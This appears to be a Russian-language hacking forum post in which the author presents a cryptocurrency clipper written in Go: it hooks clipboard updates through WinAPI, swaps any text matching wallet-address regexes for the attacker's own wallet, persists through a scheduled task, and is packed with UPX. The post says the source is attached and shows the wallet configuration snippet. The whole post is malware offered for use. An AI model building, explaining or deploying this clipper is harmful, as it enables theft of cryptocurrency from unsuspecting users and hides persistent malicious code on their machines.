Пожалуйста, обратите внимание, что пользователь заблокирован
Всё так же познаю азы работы с winapi на го, для практики написал простой клиппер. Регистрируем класс, создаём окно, добавляем свой листенер изменений буфера обмена, в в обработчике нашего окна ловим событие WM_CLIPBOARDUPDATE ну и заменяем буфер на нужное нам значение, если текст в буфере подходит под одну из регулярок в конфиге. Авторан пока что реализован просто через schtasks.exe, чуть позже переделаю на COM планировщика (как изучу как вообще с COM работать на го).
Кошельки указывать в файле internal/config/config.go, пример:
Ну и в принципе всё. Сурсы в аттаче, собираем так же батником build_win32_gui.bat. Вес собранного бинаря 1.6 метра, под upx 600 кб.
Кошельки указывать в файле internal/config/config.go, пример:
C:
func NewConfig() *Config {
return &Config{
wallets: []Wallet{
{
RegEx: "^(bc1|[13])[a-zA-HJ-NP-Z0-9]+",
Wallet: "btc",
},
{
RegEx: "*",
Wallet: "my awesome wallet",
}, // не забываем запятую
},
}
}